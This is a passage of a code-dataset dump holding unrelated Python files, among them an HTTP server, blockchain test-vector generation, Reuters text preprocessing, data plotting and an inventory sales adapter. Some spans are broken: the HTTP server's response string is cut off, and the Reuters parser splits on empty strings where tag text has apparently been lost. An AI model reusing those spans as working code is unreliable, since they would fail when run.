x\n","sub_path":"style_tranform/model/layers/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"4433212","text":"# @author by quanvo\n# @des\n\n\nimport argparse\nimport sys\nfrom lib.train import TrainingModel\nfrom lib.classfication_svc import ClassificationSVC\nfrom lib.classfication_pipe import ClassificationPiPe\n\n# add help when run cmd\nparser = argparse.ArgumentParser(description=\"Please add type run\")\nparser.add_argument('mode', type=str, help=\"Choice one mode to run [train, svc, pipe-svm, pipe-navie]\")\n\n\n\nif __name__ == '__main__':\n args = parser.parse_args(sys.argv[1:])\n print('Running with mode %s' %args.mode)\n if(args.mode == 'train'):\n TrainingModel.train()\n if(args.mode == 'svm'):\n ClassificationSVC.run('svm')\n if(args.mode == 'naive'):\n ClassificationSVC.run('naive')\n if(args.mode == 'pipe-svm'):\n pipe =ClassificationPiPe('svm')\n pipe.run()\n if(args.mode == 'pipe-navie'):\n pipe = ClassificationPiPe('navie')\n pipe.run()\n if(args.mode == 'pipe-tree'):\n pipe = ClassificationPiPe('tree')\n pipe.run()\n \n \n\n","sub_path":"Sentence2vec/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"198224283","text":"from typing import Dict, List, IO, Any\nimport json\n\nimport ed25519\n\nfrom e2e.Libs.BLS import PrivateKey, PublicKey\n\nfrom e2e.Classes.Transactions.Data import Data\n\nfrom e2e.Classes.Consensus.Verification import SignedVerification\nfrom e2e.Classes.Consensus.VerificationPacket import SignedVerificationPacket, SignedMeritRemovalVerificationPacket\nfrom e2e.Classes.Consensus.MeritRemoval import SignedMeritRemoval\n\nfrom e2e.Classes.Consensus.SpamFilter import SpamFilter\n\nfrom e2e.Vectors.Generation.PrototypeChain import PrototypeChain\n\nedPrivKey: ed25519.SigningKey = ed25519.SigningKey(b'\\0' * 32)\nedPubKey: ed25519.VerifyingKey = edPrivKey.get_verifying_key()\n\nblsPrivKey: PrivateKey = PrivateKey(0)\nblsPubKey: PublicKey = blsPrivKey.toPublicKey()\n\nspamFilter: SpamFilter = SpamFilter(5)\n\ne1Chain: PrototypeChain = PrototypeChain(1, False)\ne2Chain: PrototypeChain = PrototypeChain(1, False)\n\n#Create the initial Data and two competing Datas.\ndatas: List[Data] = [Data(bytes(32), edPubKey.to_bytes())]\ndatas.append(Data(datas[0].hash, b\"Initial Data.\"))\ndatas.append(Data(datas[0].hash, b\"Second Data.\"))\nfor data in datas:\n data.sign(edPrivKey)\n data.beat(spamFilter)\n\n#Create Verifications for all 3.\nverifs: List[SignedVerification] = []\nfor data in datas:\n verifs.append(SignedVerification(data.hash, 0))\n verifs[-1].sign(0, blsPrivKey)\n\n#Create a MeritRemoval VerificationPacket for the second and third Datas which don't involve our holder.\npackets: List[SignedMeritRemovalVerificationPacket] = [\n SignedMeritRemovalVerificationPacket(\n SignedVerificationPacket(verifs[1].hash),\n [PrivateKey(1).toPublicKey().serialize()],\n PrivateKey(1).sign(verifs[1].signatureSerialize())\n ),\n SignedMeritRemovalVerificationPacket(\n SignedVerificationPacket(verifs[1].hash),\n [PrivateKey(1).toPublicKey().serialize()],\n PrivateKey(1).sign(verifs[1].signatureSerialize())\n )\n]\n\n#Create a MeritRemoval out of the conflicting Verifications.\ne1MR: SignedMeritRemoval = SignedMeritRemoval(verifs[1], packets[0], 0)\ne2MR: SignedMeritRemoval = SignedMeritRemoval(packets[1], verifs[2], 0)\n\n#Generate a Block containing the MeritRemoval for each chain.\ne1Chain.add(elements=[e1MR])\ne2Chain.add(elements=[e2MR])\n\nresult: Dict[str, Any] = {\n \"blockchains\": [e1Chain.toJSON(), e2Chain.toJSON()],\n \"datas\": [datas[0].toJSON(), datas[1].toJSON(), datas[2].toJSON()]\n}\nvectors: IO[Any] = open(\"e2e/Vectors/Consensus/MeritRemoval/HundredThirtyThree.json\", \"w\")\nvectors.write(json.dumps(result))\nvectors.close()\n","sub_path":"e2e/Vectors/Generation/Consensus/MeritRemoval/HundredThirtyThree.py","file_name":"HundredThirtyThree.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"171847041","text":"from collections import Counter\n\nfrom finding.finding import Severity\n\n\nclass QualityGate(Counter):\n def __init__(self, *args, **kwargs):\n super(QualityGate, self).__init__(*args, **kwargs)\n\n @classmethod\n def parse(cls, value, sep=\"/\", keys=None, ignore=False):\n if not value:\n raise ValueError(\"Input is {}\".format(\"none\" if value is None else \"empty\"))\n\n if not sep:\n raise ValueError(\"Separator is {}\".format(\"none\" if sep is None else \"empty\"))\n\n if keys is None:\n keys = [x.name() for x in Severity if x > Severity.INFO]\n keys.reverse()\n\n args = value.split(sep=sep, maxsplit=len(keys))\n\n if not ignore and len(args) != len(keys):\n raise ValueError(\"Number of values does not match to number of keys: {} (expected: {})\".format(len(keys), len(args)))\n\n tmp = dict(zip(keys, [int(x) for x in args]))\n\n return QualityGate(tmp)\n\n def test(self, **kwargs):\n if kwargs is None:\n return dict()\n\n for key, value in kwargs.items():\n if key in self and self[key] > kwargs[key]:\n yield key, value\n","sub_path":"utils/quality.py","file_name":"quality.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"336739963","text":"'''\nHTTP Server v2.0\n多线程并发\n可以做request解析\n能够返回简单的数据\n使用类进行封装\n'''\nfrom socket import *\nfrom threading import Thread\nimport sys\n\nclass HTTPServer(object):\n def __init__(self,addr,static_dir):\n self.addr = addr\n self.static_dir = static_dir\n self.port = self.addr[1]\n\n # 创建套接字\n self.creata_socket()\n\n def creata_socket(self):\n self.sockfd = socket()\n self.sockfd.bind(self.addr)\n\n def serve_forever(self):\n self.sockfd.listen(3)\n print('Listen to the port %d'%self.port)\n while True:\n try:\n connfd,addr = self.sockfd.accept()\n except KeyboardInterrupt:\n self.sockfd.close()\n sys.exit('服务器退出')\n except Exception as e:\n print('Error',e)\n continue\n \n # 创建线程 处理客户端请求\n clientThread = Thread(target=self.handle,args=(connfd,))\n clientThread.setDaemon(True)\n clientThread.start()\n \n def handle(self,connfd):\n # 接收http请求\n request = connfd.recv(4096).decode()\n if not request:\n connfd.close()\n return\n # 按行切割\n request_lines = request.splitlines()\n\n # 获取具体请求内容\n getRequest = request_lines[0].split(' ')[1]\n \n if getRequest == '/' or getRequest[-5:] =='.html':\n self.get_html(connfd,getRequest)\n else:\n self.get_data(connfd,getRequest)\n connfd.close()\n\n # 发送网页给客户端\n def get_html(self,connfd,getRequest):\n\n if getRequest == '/':\n \n filename = self.static_dir+'/index.html'\n else:\n filename = self.static_dir+getRequest\n\n try:\n f = open(filename,encoding='utf-8')\n except Exception as e:\n # 没有找到网页\n responseHeaders = 'HTTP/1.1 404 Not found\\r\\n'\n responseHeaders += '\\r\\n'\n responseBody = '
\"\n\n response = responseHeaders + responseBody\n connfd.send(response.encode())\n\nif __name__ == \"__main__\":\n \n addr = ('0.0.0.0',9999)\n static_dir = '3-pythonNet/2019-1-18/static'\n # 创建服务器对象\n httpd = HTTPServer(addr,static_dir)\n # 启动服务\n httpd.serve_forever()\n\n","sub_path":"03-pythonNet/2019-1-18/http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"276513578","text":"#-*- coding: utf-8 -*-\n# 基本信息统计\nimport pandas as pd\ncatering_sale='C:\\\\Users\\\\Administrator\\\\Desktop\\\\data\\\\catering_sale.xls'\ndata=pd.read_excel(catering_sale,index_col='日期')\ndetails=data.describe()\nprint(details)\nprint('')\n\n# 异常值检测\nimport matplotlib.pyplot as plt #图像库\nplt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签\nplt.rcParams['axes.unicode_minus']=False\n\nplt.figure() #画图\np=data.boxplot(return_type='dict')#画箱线图,直接使用DataFrame的方法\nx=p['fliers'][0].get_xdata()# 第一个异常点的数值\ny=p['fliers'][0].get_ydata()# 'flies'即为异常值的标签\ny.sort()#排序\n\n#用annotate添加注释\n#其中有些相近的点,注解会出现重叠,难以看清,需要一些技巧来控制。\n#以下参数都是经过调试的,需要具体问题具体调试。\nfor i in range(len(x)): \n if i>0:\n plt.annotate(y[i], xy = (x[i],y[i]), xytext=(x[i]+0.05 -1.8/(y[i]-y[i-1]),y[i]))\n else:\n plt.annotate(y[i], xy = (x[i],y[i]), xytext=(x[i]+0.08,y[i]))\n\nplt.show() #展示箱线图\n\n\n#一致性分析\n","sub_path":"数据探索/基本信息和异常值分析.py","file_name":"基本信息和异常值分析.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"92726024","text":"#!/usr/bin/python3\nimport requests\nfrom leia_api.constants import GBIF_API_SUGGEST_URL, GBIF_API_DISTRIBUTIONS_PREFIX_URL, GBIF_API_DISTRIBUTIONS_SUFFIX_URL\n\n\ndef get_gbif_taxonomy(name: str):\n payload = {'q': name, 'limit': 1}\n gbif_request = requests.get(url=GBIF_API_SUGGEST_URL, params=payload)\n gbif_response = gbif_request.json()\n return gbif_response\n\n\ndef get_gbif_distributions(key: str):\n gbif_request = requests.get(\n url=GBIF_API_DISTRIBUTIONS_PREFIX_URL + str(key) + GBIF_API_DISTRIBUTIONS_SUFFIX_URL)\n gbif_response = gbif_request.json()\n return gbif_response\n","sub_path":"backend/leia_api/helpers/gbif.py","file_name":"gbif.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"209265906","text":"from google.cloud import pubsub_v1\n\npublisher = pubsub_v1.PublisherClient()\ntopic_path = publisher.topic_path(\"babylon-258211\",\"babylon-topic\")\n\nf = open(\"babylon.json\", \"r\")\nfor appointment in f:\n\tprint(appointment)\n\tfuture = publisher.publish(topic_path, data=appointment.encode('utf-8'))\n\tprint(future.result())\nf.close()\n\n","sub_path":"producer/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"66200271","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: Afnan\r\nNote: some of this is carried over from lab 1\r\n\"\"\"\r\nfrom bs4 import BeautifulSoup\r\nfrom typing import Tuple\r\nimport csv\r\nimport re\r\n# BEGIN PART FROM https://towardsdatascience.com/implementing-a-trie-data-structure-in-python-in-less-than-100-lines-of-code-a877ea23c1a1\r\nclass TrieNode(object):\r\n \"\"\"\r\n Trie node implementation.\r\n \"\"\"\r\n \r\n def __init__(self, char: str):\r\n self.char = char\r\n self.children = []\r\n # Is it the last character of the word.\r\n self.word_finished = False\r\n # How many times this character appeared in the addition process\r\n self.counter = 1\r\n \r\n\r\ndef add(root, word: str):\r\n \"\"\"\r\n Adding a word in the trie structure\r\n \"\"\"\r\n node = root\r\n for char in word:\r\n found_in_child = False\r\n # Search for the character in the children of the present `node`\r\n for child in node.children:\r\n if child.char == char:\r\n # We found it, increase the counter by 1 to keep track that another\r\n # word has it as well\r\n child.counter += 1\r\n # And point the node to the child that contains this char\r\n node = child\r\n found_in_child = True\r\n break\r\n # We did not find it so add a new chlid\r\n if not found_in_child:\r\n new_node = TrieNode(char)\r\n node.children.append(new_node)\r\n # And then point node to the new child\r\n node = new_node\r\n # Everything finished. Mark it as the end of a word.\r\n node.word_finished = True\r\n\r\n\r\ndef find_prefix(root, prefix: str) -> Tuple[bool, int]:\r\n \"\"\"\r\n Check and return \r\n 1. If the prefix exsists in any of the words we added so far\r\n 2. If yes then how may words actually have the prefix\r\n \"\"\"\r\n node = root\r\n # If the root node has no children, then return False.\r\n # Because it means we are trying to search in an empty trie\r\n if not root.children:\r\n return False, 0\r\n for char in prefix:\r\n char_not_found = True\r\n # Search through all the children of the present `node`\r\n for child in node.children:\r\n if child.char == char:\r\n # We found the char existing in the child.\r\n char_not_found = False\r\n # Assign node as the child containing the char and break\r\n node = child\r\n break\r\n # Return False anyway when we did not find a char.\r\n if char_not_found:\r\n return False, 0\r\n # Well, we are here means we have found the prefix. Return true to indicate that\r\n # And also the counter of the last node. This indicates how many words have this\r\n # prefix\r\n return True, node.counter\r\n\r\n# END PART FROM https://towardsdatascience.com/implementing-a-trie-data-structure-in-python-in-less-than-100-lines-of-code-a877ea23c1a1\r\n\r\n# This method works like str.split, but splits for as many times as a delimiter shows up in the doc\r\n# It is also original work based on prior knowledge of how string splits work in Python.\r\ndef multi_splitter(input_string, delimiter): \r\n out_strings = []\r\n new_sub = str(input_string).split(delimiter)\r\n for str_element in new_sub:\r\n sub = str_element.split(\"\")\r\n out_strings.append(sub[0])\r\n return out_strings\r\n\r\n\r\ndef get_text(place, sources, places_bag_vector, t_type):\r\n # This portion involving reading the body text in from the file mostly done by Kumar\r\n print (place)\r\n total_text = \"\"\r\n for source in sources:\r\n with open(source) as f:\r\n data = f.read()\r\n soup = BeautifulSoup(data, 'html.parser') # parse using HTML parser, close to structure of these files\r\n reuters_tags = soup.find_all('reuters')\r\n for reuter_tag in reuters_tags: # get information stored within each reuters tag\r\n if t_type == 'topics':\r\n p_tag = reuter_tag.topics\r\n else:\r\n p_tag = reuter_tag.places\r\n d_tags = p_tag.find_all('d') # find all places/topics mentioned\r\n for d_tag in d_tags:\r\n for child in d_tag.children: # find relevant tags to current call and add text to a master string\r\n if(place == child):\r\n try:\r\n total_text += reuter_tag.body.get_text()\r\n except:\r\n total_text += \"\"\r\n \r\n # This subsequent section is devoted to removing a few bits of rather unwieldy extra characters in our \r\n # output string. We wanted to retain as many words as possible, so more tedious methods of extraction,\r\n # such as removing '\\n' from the MIDDLE of the word was required. This part written by Afnan.\r\n array = total_text.split()\r\n new_array = []\r\n for word in array: # each word gets examined and picked apart if it contains the offending characters\r\n new_word = \"\"\r\n if '\\n' in word: # removing line breaks, wherever they may occur\r\n subword = word.split('\\n')\r\n for part in subword:\r\n if '\\n' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '.' in word: # removing punctuation\r\n subword = word.split('.')\r\n for part in subword:\r\n if '.' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if ',' in word: # removing punctuation\r\n subword = word.split(',')\r\n for part in subword:\r\n if ',' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '\"' in word: # removing punctuation\r\n subword = word.split('\"')\r\n for part in subword:\r\n if '\"' not in part:\r\n new_word += part\r\n word = new_word\r\n word += \" \"\r\n new_array.append(word)\r\n \r\n cleaned_text = \"\"\r\n for newword in new_array:# now removing some final pesky words as well as any numbers we don't want in our analysis\r\n if \"reuter\" not in newword.lower() and \"\\x03\" not in newword and '\"' not in newword and newword.isdigit() == False:\r\n cleaned_text += newword \r\n \r\n # Create vector and return to calling function\r\n places_bag_vector[place] = cleaned_text\r\n # output looks like: {'afghanistan' : 'Pakistan complained to the United Nations today that...', 'algeria' : 'Liquefied natural gas imports from Algeria...', ....}\r\n return places_bag_vector\r\n\r\n\r\n\r\ndef weighted_get_text(header_importance, place, sources, weighted_bag_vector, t_type):\r\n\r\n # This portion involving reading the body text in from the file mostly done by Kumar\r\n print (place)\r\n total_text = \"\"\r\n for source in sources:\r\n with open(source) as f:\r\n data = f.read()\r\n soup = BeautifulSoup(data, 'html.parser') # parse using HTML parser, close to structure of these files\r\n reuters_tags = soup.find_all('reuters')\r\n for reuter_tag in reuters_tags: # get information stored within each reuters tag\r\n if t_type == 'topics':\r\n p_tag = reuter_tag.topics\r\n else:\r\n p_tag = reuter_tag.places\r\n \r\n d_tags = p_tag.find_all('d') # find all places/topics mentioned\r\n for d_tag in d_tags:\r\n for child in d_tag.children: # find relevant tags to current call and add text to a master string\r\n if(place == child):\r\n \r\n try:\r\n total_text += reuter_tag.body.get_text()\r\n except:\r\n total_text += \"\"\r\n\r\n title_tags = reuter_tag.find_all('title')\r\n if (len(title_tags) > 0):\r\n for title_tag in title_tags:\r\n for i in range(header_importance):\r\n total_text += title_tag.get_text()\r\n total_text += ' '\r\n \r\n # This subsequent section is devoted to removing a few bits of rather unwieldy extra characters in our \r\n # output string. We wanted to retain as many words as possible, so more tedious methods of extraction,\r\n # such as removing '\\n' from the MIDDLE of the word was required. This part written by Afnan.\r\n array = total_text.split()\r\n new_array = []\r\n for word in array: # each word gets examined and picked apart if it contains the offending characters\r\n new_word = \"\"\r\n if '\\n' in word: # removing line breaks, wherever they may occur\r\n subword = word.split('\\n')\r\n for part in subword:\r\n if '\\n' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '.' in word: # removing punctuation\r\n subword = word.split('.')\r\n for part in subword:\r\n if '.' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if ',' in word: # removing punctuation\r\n subword = word.split(',')\r\n for part in subword:\r\n if ',' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '\"' in word: # removing punctuation\r\n subword = word.split('\"')\r\n for part in subword:\r\n if '\"' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '<' in word: # removing punctuation\r\n subword = word.split('<')\r\n for part in subword:\r\n if '<' not in part:\r\n new_word += part\r\n word = new_word\r\n new_word = \"\"\r\n if '>' in word: # removing punctuation\r\n subword = word.split('>')\r\n for part in subword:\r\n if '>' not in part:\r\n new_word += part\r\n word = new_word\r\n word += \" \"\r\n new_array.append(word)\r\n \r\n cleaned_text = \"\"\r\n for newword in new_array:# now removing some final pesky words as well as any numbers we don't want in our analysis\r\n if \"reuter\" not in newword.lower() and \"\\x03\" not in newword and '\"' not in newword and newword.isdigit() == False:\r\n if (re.search(place, newword, re.IGNORECASE)):\r\n for i in range(header_importance * 2):\r\n cleaned_text += newword\r\n else:\r\n cleaned_text += newword\r\n \r\n cleaned_text.rstrip()\r\n\r\n wordList = []\r\n words = re.findall(r'\\b[a-zA-Z]+\\b', cleaned_text)\r\n for word in words:\r\n wordList.append(word.lower())\r\n\r\n wordPairs = []\r\n for word in set(wordList):\r\n wordPairs.append([word, wordList.count(word)])\r\n \r\n cleaned_text = \"\"\r\n for wordPair in wordPairs:\r\n if wordPair[1] > 1:\r\n for i in range(wordPair[1]):\r\n cleaned_text += wordPair[0] + ' '\r\n \r\n # Create vector and return to calling function\r\n weighted_bag_vector[place] = cleaned_text\r\n # output looks like: {'afghanistan' : 'Pakistan complained to the United Nations today that...', 'algeria' : 'Liquefied natural gas imports from Algeria...', ....}\r\n return weighted_bag_vector\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sources = [\"files/reut2-000.sgm\", \"files/reut2-001.sgm\", \"files/reut2-002.sgm\", \\\r\n \"files/reut2-003.sgm\", \"files/reut2-004.sgm\", \"files/reut2-005.sgm\", \\\r\n \"files/reut2-006.sgm\", \"files/reut2-007.sgm\", \"files/reut2-008.sgm\", \\\r\n \"files/reut2-009.sgm\", \"files/reut2-010.sgm\", \"files/reut2-011.sgm\", \\\r\n \"files/reut2-012.sgm\", \"files/reut2-013.sgm\", \"files/reut2-014.sgm\", \\\r\n \"files/reut2-015.sgm\", \"files/reut2-016.sgm\", \"files/reut2-017.sgm\", \\\r\n \"files/reut2-018.sgm\", \"files/reut2-019.sgm\", \"files/reut2-020.sgm\", \\\r\n \"files/reut2-021.sgm\"]\r\n \r\n total_blank_places = 0\r\n total_blank_topics = 0\r\n total_countries = []\r\n total_topics = []\r\n root = TrieNode('*')\r\n \r\n \r\n # Here, my algorithm for splitting the elements of the TOPICS and PLACES fields is my original work\r\n for source in sources:\r\n with open(source) as f: # Open the file and read line by line to a list array\r\n array = []\r\n for line in f:\r\n array.append(line)\r\n # Since PLACES were contained within one line of code according to the data I saw, I assumed \r\n # that any line with the PLACES tag would contain all of the location info for that article\r\n places = []\r\n for index in array: # Look at lines containing the \"PLACES\" tag and read those into a separate list\r\n if \"\" in index:\r\n places.append(index)\r\n # Once I got the line, I split the string on the multiple \"\" tags to extract the location\r\n # information within\r\n new_places = []\r\n for place in places:\r\n new_places.extend(multi_splitter(place, \"\")) # Using the helpful method above, I split on one or more tags\r\n new_places = [x for x in new_places if x not in ('', '/', '\\n', 'PLACES', '/PLACES')]# I then removed instances of tag information or blank information from the overall list\r\n \r\n # One trick I learned in coding Python for work is that by casting a list as a set, \r\n # you can remove duplicates in one line of code since sets do not contain duplicates\r\n distinct_countries = set(new_places)\r\n total_countries.extend(distinct_countries)\r\n \r\n # Next I moved onto TOPICS, using many of the same methods\r\n # that I used for PLACES to count and extract the information\r\n topics = []\r\n for index in array:\r\n if \"\" in index:\r\n topics.append(index)\r\n \r\n # Once again I used the same string split method to extract the contents of each field\r\n tops = []\r\n for topic in topics:\r\n tops.extend(multi_splitter(topic, \"\"))\r\n tops = [x for x in tops if x not in ('', '/', '\\n', 'TOPICS', '/TOPICS')]\r\n \r\n # Counted distinct topics using the same cast to set \r\n distinct_topics = set(tops)\r\n # You may notice the issue with simply extending the list of total topics\r\n # There may end up being duplicates between documents that are not addressed\r\n # I address this issue in the final step: printing the statistics after all loops are finished\r\n total_topics.extend(distinct_topics)\r\n \r\n # Here, we create all output vectors already sorted into training and test groups based on cross-validation where k = 21\r\n # These files are then fed into the classifier program \r\n for i in range(3):\r\n training_sources = sources[:i] + sources[i+1:]\r\n test_sources = []\r\n test_sources.append(sources[i])\r\n # Here we begin to make our bag of words vectors\r\n # First we make the training groups\r\n \r\n # TEST SET FOR SPEED\r\n total_countries = ['afghanistan', 'uk', 'france', 'canada','turkey','usa','japan','pakistan']\r\n total_topics = ['acq', 'alum', 'lumber', 'jobs', 'interest', 'income','trade', 'wheat']\r\n # TEST\r\n \r\n\r\n #\r\n # Vector 1: Generic Bag of Words method. Uses get_text to create bag of words.\r\n #\r\n bag_vector = {}\r\n for country in sorted(set(total_countries)):\r\n if \"\" not in country:\r\n get_text(country, training_sources, bag_vector, 'places')\r\n with open('place_bag_train' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"country\", \"text\"])\r\n for key, value in bag_vector.items():\r\n writer.writerow([key, value])\r\n\r\n bag_vector = {}\r\n for topic in sorted(set(total_topics)):\r\n if \"\" not in topic:\r\n get_text(topic, training_sources, bag_vector, 'topics')\r\n with open('topic_bag_train' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"topic\", \"text\"])\r\n for key, value in bag_vector.items():\r\n writer.writerow([key, value])\r\n\r\n # Testing bag of words data.\r\n bag_vector = {}\r\n for country in sorted(set(total_countries)):\r\n if \"\" not in country:\r\n get_text(country, test_sources, bag_vector, 'places')\r\n with open('place_bag_test' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"id\", \"text\"])\r\n for key, value in bag_vector.items():\r\n writer.writerow([key, value])\r\n\r\n bag_vector = {}\r\n for topic in sorted(set(total_topics)):\r\n if \"\" not in topic:\r\n get_text(topic, test_sources, bag_vector, 'topics')\r\n with open('topic_bag_test' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"id\", \"text\"])\r\n for key, value in bag_vector.items():\r\n writer.writerow([key, value])\r\n\r\n #\r\n # Vector 2: Weighted Bag of Words method. Uses weighted_get_text to create bag of words. Title words are five times as important,\r\n # the name of the place or topic is ten times as important, and words which only appear once are removed from the bag of words.\r\n # Words are added multiple times based on their importance.\r\n #\r\n weighted_bag_vector = {}\r\n for country in sorted(set(total_countries)):\r\n if \"\" not in country:\r\n weighted_get_text(5, country, training_sources, weighted_bag_vector, 'places')\r\n with open('place_weighted_train' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"country\", \"text\"])\r\n for key, value in weighted_bag_vector.items():\r\n writer.writerow([key, value])\r\n \r\n weighted_bag_vector = {}\r\n for topic in sorted(set(total_topics)):\r\n if \"\" not in topic:\r\n weighted_get_text(5, topic, training_sources, weighted_bag_vector, 'topics')\r\n with open('topic_weighted_train' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"topic\", \"text\"])\r\n for key, value in weighted_bag_vector.items():\r\n writer.writerow([key, value])\r\n\r\n # Testing modified bag of words data.\r\n weighted_bag_vector = {}\r\n for country in sorted(set(total_countries)):\r\n if \"\" not in country:\r\n weighted_get_text(5, country, test_sources, weighted_bag_vector, 'places')\r\n with open('place_weighted_test' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"id\", \"text\"])\r\n for key, value in weighted_bag_vector.items():\r\n writer.writerow([key, value])\r\n \r\n weighted_bag_vector = {}\r\n for topic in sorted(set(total_topics)):\r\n if \"\" not in topic:\r\n weighted_get_text(5, topic, test_sources, weighted_bag_vector, 'topics')\r\n with open('topic_weighted_test' + str(i) + '.csv', 'w') as csv_file:\r\n writer = csv.writer(csv_file)\r\n writer.writerow([\"id\", \"text\"])\r\n for key, value in weighted_bag_vector.items():\r\n writer.writerow([key, value])\r\n \r\n \r\n \r\n \r\n \r\n \r\n","sub_path":"countTagsFinalWeighted.py","file_name":"countTagsFinalWeighted.py","file_ext":"py","file_size_in_byte":20498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"379206363","text":"from django.shortcuts import render\nfrom Property.models import Property, Category\nfrom django.db.models import Count\n\n# Create your views here.\ndef home(request):\n\n category_list = Category.objects.annotate(count = Count('property')).values('name', 'count', 'image')\n print(category_list)\n template = 'home.html'\n context = { \n 'category_list' : category_list,\n }\n return render(request, template, context)","sub_path":"Home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"461405209","text":"import pandas as pd\r\nfrom datetime import datetime, timedelta\r\nfrom env.inventory_utils import Utils\r\nimport global_config\r\nimport numpy as np\r\npd.options.mode.chained_assignment = None\r\nclass BaseSaleAdapter(object):\r\n\r\n def __init__(self, config):\r\n self.config = config\r\n self.dt_col = self.config['dt_col']\r\n self.dt_format = self.config['dt_format']\r\n self.sale_col = self.config['sale_col']\r\n self.id_col = self.config['id_col']\r\n self.sale_price_col = self.config['sale_price_col']\r\n self.file_format = self.config.get('file_format', 'CSV')\r\n self.encoding = self.config.get('encoding', 'utf-8')\r\n self.file_loc = self.config['file_loc']\r\n self.sale_mean_col = self.config['sale_mean_col']\r\n self.sale_ts_cache = dict()\r\n self.sale_price_ts_cache = dict()\r\n self.sale_mean = dict()\r\n self.sale_price_mean = dict()\r\n self.date_cache = dict()\r\n\r\n self.total_span = 0\r\n self.cache_data()\r\n\r\n def _transfer_to_daily_sale(self):\r\n pass\r\n\r\n def _transfer_to_original_sale(self):\r\n pass\r\n\r\n def sample_sale_and_price(self, id_val, gap):\r\n # if gap>=225: print(id_val, gap, self.sale_ts_cache[id_val][gap], self.sale_price_ts_cache[id_val][gap])\r\n\r\n # if global_config.random_noise == 'dense':\r\n # demand_noise = 2 * np.random.random() - 1\r\n # demand_noise = 0.2 * demand_noise * self.sale_mean[id_val]\r\n # demand = max(0, int(self.sale_ts_cache[id_val][gap] + demand_noise))\r\n # # print(\"dense noise! \", id_val, self.sale_mean[id_val], demand_noise, demand)\r\n # elif global_config.random_noise == 'sparse':\r\n # demand = self.sale_ts_cache[id_val][gap]\r\n # # print(\"sparse noise \")\r\n # if np.random.random() < 0.1:\r\n # demand = np.random.chisquare(2*self.sale_mean[id_val])\r\n # # print(f\"use sparse noise, origin {self.sale_ts_cache[id_val][gap]}, now {demand}, sale mean {self.sale_mean[id_val]}\")\r\n # else:\r\n # # print(\"no noise! \")\r\n # demand = self.sale_ts_cache[id_val][gap]\r\n demand = self.sale_ts_cache[id_val][gap]\r\n return (demand, self.sale_price_ts_cache[id_val][gap])\r\n\r\n def get_date_info(self, id_val, gap):\r\n date = self.date_cache[id_val][gap]\r\n date_info = {\r\n \"isoweekday\": date.isoweekday(),\r\n \"year\": date.year,\r\n \"month\": date.month,\r\n \"day\": date.day,\r\n \"dayofyear\": date.dayofyear,\r\n \"isweekend\": date.isoweekday() >= 6,\r\n }\r\n return date_info\r\n\r\n def get_sale_mean(self, id_val):\r\n return self.sale_mean[id_val]\r\n\r\n def cache_data(self):\r\n self.df = self._read_df()\r\n self._transfer_to_daily_sale()\r\n # id_list = self.df[self.id_col].unique().tolist()\r\n id_list = Utils.get_all_skus()\r\n dt_min, dt_max = self.df[self.dt_col].min(), self.df[self.dt_col].max()\r\n self.total_span = (dt_max - dt_min).days + 1\r\n\r\n for id_val in id_list:\r\n df_tmp = self.df[self.df[self.id_col] == id_val]\r\n df_tmp[f\"{self.dt_col}_str\"] = df_tmp[self.dt_col].map(lambda x: x.strftime(self.dt_format))\r\n sale_cache_tmp = df_tmp.set_index(f\"{self.dt_col}_str\").to_dict('dict')[self.sale_col]\r\n sale_price_cache_tmp = df_tmp.set_index(f\"{self.dt_col}_str\").to_dict('dict')[self.sale_price_col]\r\n date_cache_tmp = df_tmp.set_index(f\"{self.dt_col}_str\").to_dict('dict')[self.dt_col]\r\n dt_tmp = dt_min\r\n self.sale_ts_cache[id_val] = []\r\n self.sale_price_ts_cache[id_val] = []\r\n self.date_cache[id_val] = []\r\n self.sale_mean[id_val] = 